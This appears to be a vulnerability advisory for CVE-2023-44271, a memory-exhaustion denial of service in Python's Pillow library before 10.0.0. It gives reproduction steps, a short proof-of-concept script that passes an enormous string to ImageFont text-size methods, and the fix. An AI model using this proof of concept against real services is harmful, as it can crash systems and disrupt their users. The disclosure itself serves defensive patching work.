Disclosed vulnerabilities
Fixed: Jul 1, 2023
CVE-2023-44271 Published: Jul 1, 2023

Denial of Service (DoS) in Pillow

7.5 High Severity denial of service dos pypi python
João Oliveira Reported by Checkmarx Zero

Summary

Python’s package Pillow prior to 10.0.0 allows attackers to cause a Denial of Service when using arbitrary strings as text input in “ImageFont” methods that calculate text size or render text to an image. The number of characters passed to these methods is not properly checked, potentially causing a service to crash by having it run out of memory.

Product

This vulnerability affects Python’s package Pillow in versions prior to 10.0.0.

Impact

This issue may lead to a service crash (DoS) if too many characters are passed to “ImageFont” methods that calculate text size or render text to an image.

Steps to reproduce

  1. Install the Pillow package dependency for any version prior to 10.0.0.
  2. Create the file poc.py:
    
    from PIL import ImageFont, Image, ImageDraw

Using Windows’s Arial font, can be any font file.

font = ImageFont.truetype(“ARIAL.TTF”, 20)

test = “x33” * 900000000

im = Image.new(“RGB”, (200, 200), “white”)
d = ImageDraw.Draw(im)
d.textlength(test, font)


3. Run `python poc.py`

### Expected result:
The OS will allocate memory indefinitely until a crash occurs.

Remediation

A fix was released in commit e37b250 for version 10.0.0, where a new constant was introduced: MAX_STRING_LENGTH. The constant limits the maximum number of characters allowed to be passed to the “ImageFont” methods that calculate text size or render text to an image. The constant’s value is set to 1,000,000 by default.

Credit

This issue was discovered and reported by Checkmarx SCA Security Analyst João Oliveira.

Resources

  1. Pull Request
  2. Commit

Stay connected and never miss a research update!